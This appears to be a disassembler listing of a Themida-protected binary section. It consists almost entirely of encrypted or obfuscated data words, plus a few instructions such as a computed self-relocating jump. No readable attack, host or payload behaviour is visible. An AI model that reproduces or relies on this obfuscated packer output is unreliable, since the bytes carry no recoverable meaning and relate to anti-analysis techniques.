		dd 6DCDFC0h, 9A99E8Ch, 0E8A0B61Ch, 0Eh,	0CD6C1074h, 5FDB0F05h
		dd 0BB9ADCB3h, 8D2998ECh, 6142385h, 25B50959h, 81061402h
		dd 6A7BC1h, 8D896000h, 61401E9h, 645B531h, 68610614h, 1A69h
		dd 0D060BF66h, 2DB5895Ah, 8B06141Eh, 6800F19h, 1000000h
		dd 14191585h, 36EB8106h, 8B2F601Eh, 48F381C1h, 0F2F2453h
		dd 28Fh, 81C68B00h, 1C5544EBh, 0C880F7Eh, 0F000000h, 68Eh
		dd 71858900h, 5306141Bh, 0E7E173BFh, 83018F5Dh,	0BF0F04E9h
		dd 1EA83C7h, 1F850Fh, 0B58B0000h, 6142B71h, 3EE9h, 0E84B5300h
		dd 1B112D9Eh, 643F0A33h, 42A54081h, 7F4104BCh, 10E9CAh
		dd 0C7C50000h, 0FD09D8E2h, 514F53F3h, 0B986B5EEh, 74E9686Fh
		dd 44FFFFFFh, 0C475CF19h, 59B099EDh, 7F148C04h,	0E9949A27h
		dd 1Ch,	1A1E9829h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EDE01
; ---------------------------------------------------------------------------
		db 56h,	36h, 7Bh
		dd 661728B7h, 8F0A05A2h, 0B7EE1C8Bh, 0D8D5F473h, 55FDD754h
		dd 28B77B36h, 19E621Bh,	19868A05h, 570B4E7h, 6FCA79A6h
		dd 0A4955EAh, 36656786h, 574A7906h, 6C3254D3h, 0F09270C3h
		dd 998FF353h, 0E63F189Ah, 0E1193D5Ah, 0F9266C9Eh, 53F0F74Ah
		dd 9FAAB7C9h, 45F2E60Bh, 930E3D21h, 0F0392712h,	5AD8BC53h
		dd 0AEF4156Ah, 0F0393201h, 0A9CDB153h, 0F31AF591h, 37FBB2D4h
		dd 0FD4CE944h, 3153F039h, 0F03945F4h, 67ADE53h,	2F5BF002h
		dd 1B37B074h, 1A32699Bh, 1D629ABEh, 285B5F0h, 818DBCD3h
		dd 63650206h, 0AD911028h, 8D53F039h, 6BF4047Fh,	4817275Eh
		dd 0CF4B433Ah, 0EF335AF9h, 2929402Fh, 85953803h, 4F93h
		dd 65671900h, 0D6950636h, 4BCFFFBAh, 9273CCC9h,	0AF4053F0h
		dd 8CE40A48h, 1F28594h,	3E000000h, 0BBCC6667h, 2A4ECAC2h
		dd 0F6EE4311h, 0EF40285Fh, 0C5C69925h, 0A1AFB0C8h, 7E8AD1EAh
		dd 0B0D4C9F8h, 0B6F63C98h, 0BFCE2592h, 8C1B1F8Eh, 35FF037Ah
		dd 6356867h, 0C3DE604Eh, 1136944h, 0F4A9DAA5h, 1590BBC4h
		dd 326F9AE5h, 7A917E1Ah, 0F26DDEB0h, 0F09586B5h, 0FB391D53h
		dd 0BFCEFD14h, 9FA13EC2h, 196FDCECh, 0ED97EB22h, 21FE34D5h
		dd 9506B26h, 357183FEh,	69611C2Ah, 0B08EBDFAh, 10553F0h
		dd 91A9E4E6h, 2FF31AF5h, 0BEBCD332h, 8594AC80h,	897Eh
		dd 6867BA00h, 4F7A0535h, 0EAE29DA9h, 16324A6Eh,	143352B9h
		dd 6EE69599h, 46CD5CE6h, 8D2A21ABh, 53F0CFBEh, 0CC35135h
		dd 574E7BFDh, 8FBFA327h, 0A3DBD2F0h, 0C6F6AFDCh, 0E41487B9h
		dd 0A46E8532h, 0C9FB82B9h, 41651829h, 0B847CD49h, 0E7EB0151h
		dd 5EEB8594h, 0C1000000h, 5356867h, 0D7BBD796h,	0F092FB56h
		dd 0F0147853h, 5CAA7CD8h, 2E23FFD7h, 5F6B20F2h,	0CFFFAEDFh
		dd 5514274Bh, 0CA4E7E39h, 8FC87C48h, 772A5968h,	666761B3h
		dd 0A3C7BECCh, 222138ABh, 1628A56Fh, 2B53F092h,	6BF22D44h
		dd 84CC2259h, 600D97C4h, 0EC32DE54h, 8A8594D5h,	1, 0D7F48B26h
		dd 0F03DAEDEh, 53F09241h, 0D85A7EC2h, 7D8D0803h, 9EADE0E2h
		dd 92B78223h, 48CC53F0h, 0BE9DFACAh, 921D2857h,	202BF38Bh
		dd 0A65DB365h, 73CE6F9Ch, 0F053F01Dh, 0DCA4688Ch, 124C8D0Dh
		dd 0F470B56Dh, 3C7ABBD0h, 3549DCF8h, 24263951h,	9ED6A569h
		dd 35B6A81Fh, 0CB8092BEh, 6BCAC2B9h, 55E445D6h,	2857BED9h
		dd 4A36716h, 0EC738B02h, 0D8A8A3DAh, 9ED0A161h,	0F1CD471Eh
		dd 1525606Eh, 4A423F4Ah, 0CF33EC3Ch, 3C92C9C3h,	0DCB2789Fh
		dd 172958BFh, 0E634A064h, 0F08BA91Ch, 143h, 0CFCAC685h
		dd 0E8A5A0BFh, 0D75074D0h, 53B7C7B6h, 61805FC1h, 0F675E01Bh
		dd 5D58DAD7h, 49DC90DDh, 8AB9E651h, 955E490h, 97FB0F05h
		dd 0B7E61867h, 0DBD2F473h, 0F3AADCA3h, 0A8581D8h, 209C96F2h
		dd 0FF3259F6h, 0B3BD2669h, 0D70523A0h, 465BF4EBh, 653AF81Ch
		dd 0A0132863h, 0E42E3407h, 53DC4F55h, 55E42EE0h, 39FB1F63h
		dd 83720279h, 0A508AAB5h, 71BF43D1h, 0CD8BA918h, 1D1792BEh
		dd 3A62h, 65804E00h, 6F9DEC1Fh,	6E800434h, 879E6937h, 5556DC9Bh
		dd 0F06319C8h, 4676DAD3h, 3F7A96D5h, 6349F8F5h,	0F966D3F0h
		dd 0B719492h, 63E4B7F0h, 1B7F53F0h, 89C517h, 80530000h
		dd 47E01B61h, 49DC6A83h, 67F81074h, 75F23665h, 15A5A353h
		dd 0B8FBFFAh, 7C88D7E7h, 698D0901h, 48F43545h, 4155E49Bh
		dd 9EA0DF36h, 9984DCEFh, 0DB9A30B3h, 0E99959DBh, 987E9E18h
		dd 7F4DBC55h, 68B5205Bh, 55E404D9h, 1C29F65Ah, 27ED6961h
		dd 9341B84h, 0DBBF4FCFh, 0F3AADCA3h, 769D7CDBh,	102B51B0h
		dd 0F40CB897h, 9C197445h, 41BA02ADh, 90D02226h,	2CF7ABBh
		dd 0D74441BAh, 0BA02FB56h, 0F0147841h, 808A48CCh, 75E01B61h
		dd 0ADDDD8F6h, 43EAEB29h, 0E849DB9Fh, 0F90B5464h, 0DFE17E82h
		dd 531D9CACh, 33B9F404h, 136C9C17h, 0CB8FBFF6h,	0D93D056Ch
		dd 0D6E8177Eh, 0C2C463A7h, 74981530h, 960D3B44h, 0B5E81966h
		dd 0D3CEFA85h, 29408FBBh, 0F81FFEE1h, 40C4B7C9h, 0C5F6A5A7h
		dd 0FC0C8986h, 0F7E8F98h, 2D999BFFh, 31Fh, 0A68C9500h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E789571Fh
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68240C89h,	14A0h
		dd 68240C89h, 2EEBh, 57241C89h,	0E410B7BFh, 0C7814F62h
		dd 1, 7EFC14Fh,	3510F781h, 0F98906DFh, 4EC835Fh, 83242489h
		dd 5B042404h, 9BB85051h, 293F7935h, 58042444h, 8108438Fh
		dd 359B0843h, 1C8B3F79h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 240C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0E95C2414h, 0FFF97E7Ch
; ---------------------------------------------------------------------------
		scasb


loc_5EDE01:				; CODE XREF: Themida_:005ED8C8j
		mov	eax, 61B01D5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 53D1h
		dd 48442F46h, 0DA5F1A62h, 94624E9Eh, 6E715271h,	53BF22EEh
		dd 0C5D34441h, 0FA281181h, 1DAC63A7h, 11AC5B1Eh, 6DD008B8h
		dd 7AE4B99h, 2CAF3AABh,	0C92F6B0Fh, 4F2904D5h, 4B5F0B53h
		dd 47B1660Ch, 0D77B2032h, 0FE34292Fh, 56036549h, 5D3F0749h
		dd 71E772E3h, 0DE85210h, 90000000h, 773B92E3h, 9BD8B4C9h
		dd 0A647475Eh, 6736B866h, 81F78A59h, 6513C1h, 0D68B6600h
		dd 191868h, 5FA0B600h, 666031FFh, 53D420BAh, 615AC88Bh
		dd 4860F5Eh, 66000000h,	813B99BAh, 5E2183EEh, 0CE95231h
		dd 23000000h, 2AA7B85Ch, 0D9B8CE4Fh, 5B3A6DEEh,	0FEDC681h
		dd 816673EFh, 814C41D0h, 9B8E6EC6h, 5617B72Ah, 8E8h, 5C475D00h
		dd 0D82DAF3Ch, 0BE87Ah,	0CDC20000h, 234F350Bh, 0FCF83AB4h
		dd 5AD18B7Dh, 0E9018F5Bh, 7, 0D4AF0DB8h, 810D4845h, 0E6AB9FE9h
		dd 0C28B6678h, 0AB9BC181h, 81F578E6h, 1EFh, 71850F00h
		dd 80FFFFFFh, 8D8DCBF7h, 61B0463h, 8D895B51h, 6142B69h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EEC35545h
		dd 0DF88DF4Ch, 365BD23h, 820F0614h, 8, 2810Fh, 5A570000h
		dd 105585C7h, 58380614h, 0D88A0000h, 13D85C7h, 614h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8C51DDC3h, 0F6A5653h, 0B5FF7A76h, 61411C9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A3C35242h, 699D8958h
		dd 8B061403h, 141CE595h, 0D995FF06h, 6006140Bh,	0CE8h
		dd 7BD81400h, 24AC600Dh, 0EAA60044h, 0CE90Eh, 30A40000h
		dd 92D50E48h, 8ADEF66Dh, 665A980Bh, 61CD31BAh, 95FF006Ah
		dd 6142971h, 1FEBC08Bh,	0CACEB128h, 0D6E64FB2h,	8DC10376h
		dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h,	8D6F6FF6h
		dd 1B05568Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 65850168h, 89061418h, 142B698Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 18D32FF9h, 95BE8C26h, 17FD9589h,	0D98A0614h
		dd 105585C7h, 64E80614h, 95890000h, 6140459h, 13D85C7h
		dd 614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1B0424h, 53430000h, 70706BC3h, 4FE7344Fh, 1DBD03C5h
		dd 0BF061430h, 3AB7C1F5h, 0D09B5FFh, 0B20614h, 0BD995FFh
		dd 7E80614h, 0C4000000h, 0D9B2E4A0h, 85298D40h,	6141E9Dh
		dd 0BD958958h, 6A061409h, 7195FF00h, 8B061429h,	0F74CEBC0h
		dd 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh, 6F3EC741h
		dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh,	9B6A7AF1h
		dd 0A1835700h, 0CD410219h, 0D2F13D88h, 1E8B4198h, 0D34CA258h
		dd 1394AE27h, 794B2E1h,	0A4F5DC84h, 8D159A5Eh, 1B062F8Dh
		dd 698D8906h, 2906142Bh, 140CBD9Dh, 5585C706h, 0EC061410h
		dd 6A000057h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 51F0C351h, 0FD232689h,	3D85C715h
		dd 61401h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0DA73C353h, 4F3FDBAFh,	0FFC99D8Dh
		dd 140D09B5h, 0C78B6606h, 0BD995FFh, 0B5010614h, 6140BADh
		dd 95FF006Ah, 6142971h,	4CEBC08Bh, 86F68523h, 44B2B1A4h
		dd 101F6A86h, 2CACA8A1h, 0C53B7881h, 0D309B6E7h, 99DEB772h
		dd 0BA1B9203h, 0C33C5073h, 6F1498Dh, 66E8038Fh,	1A65837Bh
		dd 41DC909Bh, 0D2EAB2E7h, 0C8E9D4E3h, 75457B50h, 0F3B4BAC2h
		dd 69BB2D78h, 179BEFCBh, 0EE8h,	5669A00h, 21E4A52Ah, 0C635906Ah
		dd 81E92941h, 0C83334CAh, 8AB65B65h, 6E8CC381h,	8B560000h
		dd 140A4DBDh, 0BE5A06h,	89000000h, 140C518Dh, 1E34FF06h
		dd 0D7BBBF66h, 0E981F859h, 68B58D9h, 425850Bh, 0C1810614h
		dd 4DCBAA8Eh, 0F05850Bh, 0E9810614h, 1B8E694Ah,	0C89F88Bh
		dd 0EDBD8933h, 2906140Dh, 1407FD85h, 91EE8106h,	66123D18h
		dd 0C681D08Bh, 123D188Dh, 0FE81E38Ah, 0FFFF9224h, 13850Fh
		dd 81660000h, 0E9B4F4F2h, 25h, 5BC791Dh, 0E1113358h, 0DD958940h
		dd 0E906140Bh, 0FFFFFF8Dh, 3CEF563Eh, 861D3B70h, 0FDC04751h
		dd 4D46A6A4h, 0E78D8D16h, 52061B07h, 68F0Fh, 858B0000h
		dd 6140369h, 698D895Fh,	6A06142Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AE34C351h
		dd 85C7FC0Bh, 6141055h,	5D94h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 13C35646h, 7D9D89A4h, 0C706141Fh
		dd 14013D85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 6060606h, 9B5FF06h, 6606140Dh
		dd 0CE69C281h, 0BD995FFh, 95030614h, 6141371h, 95FF006Ah
		dd 6142971h, 4CEBC08Bh,	0A818F5C8h, 13CEB84Dh, 91E3A543h
		dd 531623h, 57CC1CDFh, 7FAA9EAFh, 3079D9FDh, 3F0B3F37h
		dd 698791BFh, 2E5BCFDFh, 4B954091h, 37D5553Ah, 2241F1CAh
		dd 1F9F280Ch, 3CBD633Fh, 0D4DB763Eh, 0A6E9FA21h, 0F781E5F1h
		dd 25256F0Ch, 10E8h, 2B10C900h,	8358353Ah, 38883B0h, 27B2D233h
		dd 11E9D7h, 0C8DF0000h,	0AC387D76h, 309A0B1Ch, 7FB0CFAEh
		dd 5A189AA3h, 81C68B66h, 5E82C2h, 39BD8B00h, 3306142Ah
		dd 9D8D09F6h, 0FF06140Bh, 0FA8B1634h, 59F18159h, 807E5CA6h
		dd 0C1815DE0h, 5A59A206h, 5E9h,	111FF100h, 0C1815FB5h
		dd 16ABAC27h, 0C89A8B4h, 159D8B32h, 8B06141Ch, 14187185h
		dd 4EE8306h, 0CE8h, 4EE4EC00h, 3BF6B0D0h, 5668EC6Bh, 0D9D89E1h
		dd 5806141Eh, 0A254FE81h, 850FFFFFh, 12h, 0E399D8Bh, 34E90614h
		dd 0B2000000h, 45BD8207h, 12E91D87h, 3F000000h,	4F2CF271h
		dd 2470FFB0h, 83D46D38h, 7429224Ch, 0FF75E9C0h,	11A8FFFFh
		dd 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0E86E26CAh, 0Fh
		dd 8F6C6AB5h, 9601C489h, 5EB8BDC7h, 609E64C6h, 0C25B589h
		dd 6E90614h, 88000000h,	1E6BFD31h, 805961B8h, 0C181F5F2h
		dd 7047h, 19DD858Bh, 59BF0614h,	81639E10h, 9E0B82F7h, 0FFDFB263h
		dd 0C0BF0F31h, 0DE95Eh,	0E0970000h, 130D5459h, 0DDC13388h
		dd 810C868Eh, 0FD0FEBC6h, 56CF8048h, 0F2E8F681h, 81FC4F78h
		dd 38CF3EC6h, 0AE95Dh, 3E120000h, 1950B68Ch, 2F0AC383h
		dd 6870F56h, 29000000h,	141E3DBDh, 0E9018F06h, 0Bh, 0EDAC77C8h
		dd 104FC51h, 83A7AFD6h,	2BBB04E9h, 4F5A608Fh, 1C850Fh
		dd 8B600000h, 0F59589DAh, 61061404h, 26E9h, 88826800h
		dd 6E2EEE88h, 928774C6h, 858B67F7h, 61406E5h, 0FFFF6EE9h
		dd 0E5E19CFFh, 6C06AF1h, 0DE181BA8h, 0E8CBAEF4h, 0Ah, 4104BC42h
		dd 0FF09CA7Fh, 0F55FF093h, 70EAC781h, 85890000h, 6141AB5h
		dd 34FFC92Bh, 0B99D8939h, 5A06140Ah, 2D51858Bh,	0F2810614h
		dd 3AEE9F2Ah, 0F281AEB3h, 434289FEh, 0EE9h, 7578EB00h
		dd 8B4D4D87h, 0F7F6C7Ah, 81059B35h, 3AF182C2h, 0EE801h
		dd 0DE610000h, 33AB2903h, 0B798489Ah, 0E4ADB964h, 0A798509h
		dd 895E0614h, 0F600F14h
		dd 6E9C2B7h, 2D000000h,	7EF273Ah, 19B86179h, 83088AE0h
		dd 0BF0F04E9h, 0DCF981F2h, 0FFFFF8Fh, 1985h, 0B70F5000h
		dd 2BE95EDEh, 22000000h, 65F12677h, 0CFEA01D0h,	8B3483BCh
		dd 860F2963h, 6, 0B42AC881h, 5BE91747h,	67FFFFFFh, 2F85F280h
		dd 504066AFh, 0CE80723h, 93000000h, 23BE7238h, 5DAA8455h
		dd 0FE81B58h, 286h, 58F88B00h, 22E9B52Bh, 0C0810614h, 74E3h
		dd 2A11B58Bh, 0D22B0614h, 8BF3B70Fh, 0BF0F100Ch, 6FF181F3h
		dd 0B3320623h, 90F1812Bh, 0E94E05B6h, 0Bh, 0E2CBC6FFh
		dd 289DD2F4h, 813F6F46h, 35A940F1h, 0EE92Dh, 205B0000h
		dd 9E09CB03h, 612C8C9Ch, 5A6CE7CBh, 0EB816651h,	48FFFBAh
		dd 0DBB70F10h, 0DD60BE51h, 815B2838h, 35517EAh,	14E962h
		dd 0EA9E0000h, 189DC2D6h, 6CE064C0h, 45A9FBDh, 7D399757h
		dd 0C2818B11h, 62035513h, 3F19D8Bh, 0FA810614h,	0FFFF8BD8h
		dd 0FF79850Fh, 8D0FFFFFh, 6, 7BA1DE81h,	75827077h, 690889A0h
		dd 0A6DC7814h, 3154578Dh, 0A12E8636h, 25908635h, 254813D9h
		dd 0AC990530h, 25149221h, 2581023Fh, 98078630h,	23568159h
		dd 5EA58930h, 0E3908630h, 3140CFB5h, 0AB4CC836h, 0A4AD2282h
		dd 40C7A204h, 907B91D6h, 235697B9h, 5DDF03BDh, 0F56F8027h
		dd 0A08E76BBh, 23308E79h, 25166E7Eh, 0F2498630h, 0AED42E72h
		dd 0AE46A274h, 1650F30h, 906FDE34h, 235C8159h, 5DDA03BDh
		dd 0F5ED8027h, 35B07EBBh, 0CC848630h, 25428638h, 2BA48996h
		dd 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h, 0DA940B30h
		dd 9D82927Dh, 25428635h, 98AC65CFh, 238B8DBEh, 291C0BBDh
		dd 379C802Bh, 0E94B615h, 758247FFh, 690889A0h, 0A6DC7814h
		dd 3154578Dh, 0A12E8636h, 25908635h, 254813D9h,	0AC990530h
		dd 0F305E983h, 22B9A4h,	1EE90000h, 3D000000h, 577AFBh
		dd 6 dup(0)
		dd 8C9E900h, 0C5C50000h, 0A8D946CAh, 9BB631F5h,	7F8D1A1Eh
		dd 68670004h, 466AF135h, 58DCD1F0h, 47CBC2CFh, 2DF1ACD8h
		dd 191D90B2h, 91A00D7Ch, 1255EB9Eh, 85B93FE1h, 0A553F092h
		dd 5C24E8A3h, 63CCFF8Dh, 49DC492Bh, 8B15F583h, 629A113Fh
		dd 0E40D30E6h, 0B7A4DC56h, 0E440DB76h, 2BF45855h, 4E7E6219h
		dd 66641231h, 98070B2Fh, 0C7BECC66h, 1F2F53B7h,	3C4F3E40h
		dd 74911E2Dh, 40D75D13h, 0DE3A5276h, 11BE6854h,	0C2B9CBFAh
		dd 374C923Eh, 0B36A8BA9h, 0FF000000h, 0D10238Ch, 549355E4h
		dd 0DA587C39h, 22686750h, 46762D5Bh, 9248FBC2h,	47CB53F0h
		dd 0A8B82B23h, 0F714A236h, 5BF768BEh, 1E2DE230h, 1EBD6B63h
		dd 232524F7h, 12033E7Fh, 0BC8053F0h, 0C6C59A98h, 45EB47CBh
		dd 51859508h, 66h, 3568675Fh, 0B5D79605h, 0FD414CC6h, 0DD53F092h
		dd 0BBC4F4AFh, 76E51590h, 0F0921A29h, 51B59953h, 0A8798FE6h
		dd 0D01C89B5h, 56F52347h, 709DEC3Fh, 6F810535h,	51F92CECh
		dd 2DE230F2h, 22EB911Eh, 0D0577AF8h, 45DBFFAEh,	503A8D11h
		dd 56658910h, 0C084E51Eh, 5E4315E0h, 372BFDEBh,	743CF6A3h
		dd 29A6h, 6867CC00h, 9BA40535h,	0AC53F092h, 0E9A4A0BFh
		dd 1E2D442Bh, 0C978A5EFh, 4A53F092h, 702B59C6h,	0A3D8FC58h
		dd 3DF7AEDCh, 6180BF75h, 0F675E01Bh, 5855DFDAh,	49DC7FC6h
		dd 98133148h, 0D2EA6E9Ah, 0FAF01361h, 8391D8D5h, 0F2AFDA71h
		dd 1B96B12Eh, 0D7E970E3h, 5579345Fh, 7206E7DFh,	0DCDEDC59h
		dd 33174FC8h, 365DBC1Bh, 7D81FC17h, 92AAE7E2h, 0D85F3013h
		dd 19701F5Fh, 0B6B5DFEAh, 68EC1C99h, 0D85FD261h, 0C9ED515Fh
		dd 16373645h, 8BABAD67h, 0ACDCD9F4h, 3CD2EA28h,	1B888E44h
		dd 0C64C4944h, 3665675Ch, 700F7CBCh, 50E34C52h,	0D353F092h
		dd 0D7334B6Fh, 9654DB5Dh, 889480h, 2Bh,	1A6E80ACh, 1F2A8B58h
		dd 9453F092h, 0C5C49BB0h, 8BC04AC8h, 92AC9F18h,	232753F0h
		dd 67C2D6D1h, 4AA3316Ch, 162A60h, 80400000h, 8B581A6Eh
		dd 0F0921F2Ah, 0F87ADE53h, 6C67A18Bh, 604AA331h, 6366567h
		dd 0F2D5DF95h, 0F63B217Eh, 57671A29h, 7BB421F3h, 2753EC10h
		dd 758702Bh, 1D7A9209h,	0EF53D73Eh, 1F8084DCh, 63D261CEh
		dd 0ED5153F4h, 0BD49183Bh, 9E25BC9h, 68AACE5Dh,	0AAB16C83h
		dd 6CE8E09Dh, 0A4D7E9A6h, 0D5C8C760h, 1A3736A5h, 25EF6B63h
		dd 0A0A15776h, 7B1C9EDh, 6362A1C8h, 0A04EEA2Eh,	3E8598C0h
		dd 26h,	366567FAh, 394F9E06h, 7AD1A502h, 0B22D49DCh, 0E48AC675h
		dd 2EF95D55h, 55AD6722h, 0D2BDD9F1h, 37A8CBBh, 0FD8B35FFh
		dd 9512EC42h, 53F050A6h, 94C7593Dh, 0AC153CDh, 0D7585F8h
		dd 327388FCh, 49DC46ACh, 42DD2125h, 0FC3D4D40h,	0D1163B6Ch
		dd 3646434Eh, 55651829h, 8F5A303h, 0F4B1B3h, 0B69AA0F7h
		dd 7193B2D9h, 5769F63Ah, 34A71424h, 76DA58EBh, 585570D9h
		dd 6CD0A420h, 89FF0EA6h, 2C693572h, 9EE2C35Ah, 6E80589Ah
		dd 0A288581Ah, 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 0EA4B2053h
		dd 53F0925Fh, 284C70D4h, 8BB67CAAh, 0AEDED7F4h,	0FC1A55D8h
		dd 0C9EDF43Ch, 0AB89A74Bh, 5AB58894h, 0F0B96EDDh, 9361E5AEh
		dd 2BD0h, 6E80DC00h, 188B581Ah,	0C64C3F41h, 0F09264D7h
		dd 0A3A1B853h, 99143FE8h, 0DB2FE561h, 0A18BFD77h, 0A3316C67h
		dd 502A604Ah, 40000000h, 581A6E80h, 0DAD3F48Bh,	0D3EC26A2h
		dd 1D611060h, 22203840h, 0D44A6E23h, 286FEBDCh,	0C8C54F04h
		dd 53F0E179h, 199FAEBDh, 84B4E7h, 7893EC1Ch, 65890D3Dh
		dd 3BB911AFh, 6C67A18Bh, 0F48BA331h, 6C2725D7h,	4F38CA48h
		dd 629A1330h, 672A2CE6h, 0A7063665h, 53EC106Ah,	3C4BA20Dh
		dd 0D78930Ah, 0F41091A0h, 0E42E1253h, 0FF005F2Ch, 102D1C99h
		dd 0A2A653F4h, 0A8A774BEh, 8C87C6F5h, 8B9DF911h, 0FF21E694h
		dd 0D0EC2621h, 0FD0D808Fh, 122A6762h, 3646414Dh, 0C44EA512h
		dd 0C0C299F2h, 0DB59BDCDh, 9FAEDD34h, 7BA4EE19h, 53F45AC8h
		dd 0ABA3C74Bh, 0AB070B2Fh, 85995485h, 5511h, 0FD8B9F00h
		dd 78A5D2EBh, 53F03BC9h, 1C50C64Ah, 904FC539h, 0CAC3C46Eh
		dd 1A3256B2h, 63543A2h,	7137D24Eh, 0A082EA9h, 103F4EB9h
		dd 2BE96D9Dh, 0DC6DE8AAh, 0B074649h, 19668290h,	3F9BB3EEh
		dd 719CE31Bh, 4E7B0434h, 0B4632757h, 8671D55Dh,	7F2E506Fh
		dd 656779BBh, 4F9E0636h, 4C7B0239h, 47E0C351h, 49DC6CFBh
		dd 0CE04080Ch, 581A6E80h, 6567A288h, 0B67CBC36h, 94809654h
		dd 5A0088h, 8BAC0000h, 0C0CF6BFDh, 181ABB79h, 0BC364AA4h
		dd 0AD188Bh, 53F09231h,	0BC8FCEB2h, 3753F092h, 0B9E6C153h
		dd 53F0928Ah, 0D0CDFE09h, 0BA385CB8h, 0F48BA18Bh, 2AAEDED7h
		dd 661833E8h, 490B2F6Ah, 612A604Ah, 0F9000000h,	0B9D66062h
		dd 2448CCFCh, 1A9BB014h, 53F0922Fh, 0E852A0A4h,	0E11A6E80h
		dd 5F210E93h, 4ADC0B05h, 0AA911EBAh, 0DD47CDDCh, 0DF1EFD8Bh
		dd 3AB3E33Bh, 0D36ECFF8h, 1A53F0F8h, 0F48B3CB6h, 692423D5h
		dd 1D2A3545h, 0EE4F7C60h, 53F09253h, 5A66CD0h, 0F3F1DAAAh
		dd 0A3CAFA64h, 6C67EF51h, 604AA331h, 6366567h, 0FCB9D695h
		dd 0CBCA48CCh, 53EC1086h, 8EBBC2F9h, 177E1D17h,	63A7D6E8h
		dd 0B3CBC2C4h, 94073940h, 0B1C7269Eh, 10951D9Ah, 6DDE49D8h
		dd 0E81671C0h, 6A8EF255h, 4870351h, 0AF216E24h,	21595470h
		dd 69AB6FA5h, 581A6E80h, 6567A288h, 0B67CBC36h,	94809654h
		dd 460088h, 8BAC0000h, 0ADDDD8F4h, 0CCFCB1D2h, 0D6EE2448h
		dd 0D84B4038h, 0C1088381h, 53F09272h, 5A9B8DF1h, 0DABC7371h
		dd 8BB7B97Bh, 0F0921F2Ah, 394B9453h, 8B945E42h,	316C67A1h
		dd 0D7F48BA3h, 0E82AAEDEh, 3A2A941Eh, 40000000h, 0E11A6E80h
		dd 0ABF90293h, 0A86A19B3h, 48188BA6h, 10A18E92h, 0C4B143F7h
		dd 53F09E75h, 203F4CC4h, 0F3A7B21h, 8453F09Eh, 0AC969C80h
		dd 6C67A18Bh, 44431A31h, 4A41CB49h, 0C4656760h,	622C093Dh
		dd 0E7173B32h, 0EC597546h, 7C375553h, 8915334Ch, 0F4591D2Ch
		dd 8EB29653h, 167DDA7Eh, 284F280Ch, 2A3E719h, 53F45937h
		dd 0DDB1ECE7h, 56D15579h, 72C16E34h, 0F153F459h, 0B52698Dh
		dd 308C86FDh, 385339C8h, 0D8BF1BFFh, 0F5146B49h, 2D606FB8h
		dd 0F7BB91Dh, 1974070Bh, 0E862AD9Ch, 0D0222655h, 1A6E806Eh
		dd 67A28858h, 7CBC3665h, 809654B6h, 36008894h, 15000000h
		dd 4921E35Fh, 0B2AD433Eh, 0B5BF7591h, 0E6E16E80h, 133793ABh
		dd 4AFD8B41h, 0A976EF70h, 0DB4467ADh, 53F01268h, 8BED67EBh
		dd 316C67A1h, 2A604AA3h, 46h, 1A6E8040h, 9F188B58h, 53F092ACh
		dd 0C5C42327h, 3C794AC8h, 53F0920Dh, 8B8E44CCh,	3100AD18h
		dd 0B253F092h, 67C244CEh, 0CB79C36Ch, 335BF637h, 74D853F0h
		dd 682933A2h, 5BC43744h, 53F06CE8h, 2B2DE76Bh, 6567604Ah
		dd 52D3BFCDh, 53F092E7h, 0D0F4187Ch, 0DBA140B8h, 143635A0h
		dd 132B6662h, 148193B7h, 49DC7E02h, 8CC4F75Bh, 0B9DE67FBh
		dd 0C4C15E4Eh, 0DF55B1C9h, 0EE9A6B1Bh, 7828EDDh, 268193F7h
		dd 1D98B4CBh, 91BE69EDh, 219F1E14h, 0AA4FCFF6h,	4D712C5Dh
		dd 8FB6CE3Dh, 0DA692618h, 2527F43Eh, 0E307828Dh, 0F7E801Fh
		dd 4BEFFh, 0A20D883Dh, 0A880D04Bh, 3BB1B3Dh, 497B10E2h
		dd 2F51CE52h, 15334C7Ch, 0AE96E9Eh, 0EBA2A4E3h,	1786B827h
		dd 8D5E7h, 8C430000h, 4944401Fh
		dd 676741CBh, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h
		dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h,	511F2757h
		dd 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh, 5158685Ch
		dd 34890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 55241489h, 1F09F4BDh, 8DCD8112h, 81002947h, 8C6701F5h
		dd 81EDD15Dh, 5048A3C5h, 5EDC177h, 0BDB9BB53h, 0DD010121h
		dd 5DEE895Bh, 24148B54h, 5604C483h, 3B240481h, 8F00EE54h
		dd 0BB530842h, 0EE543Bh, 5B085A29h, 5624148Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815E24h,	4, 0F96B7FE9h
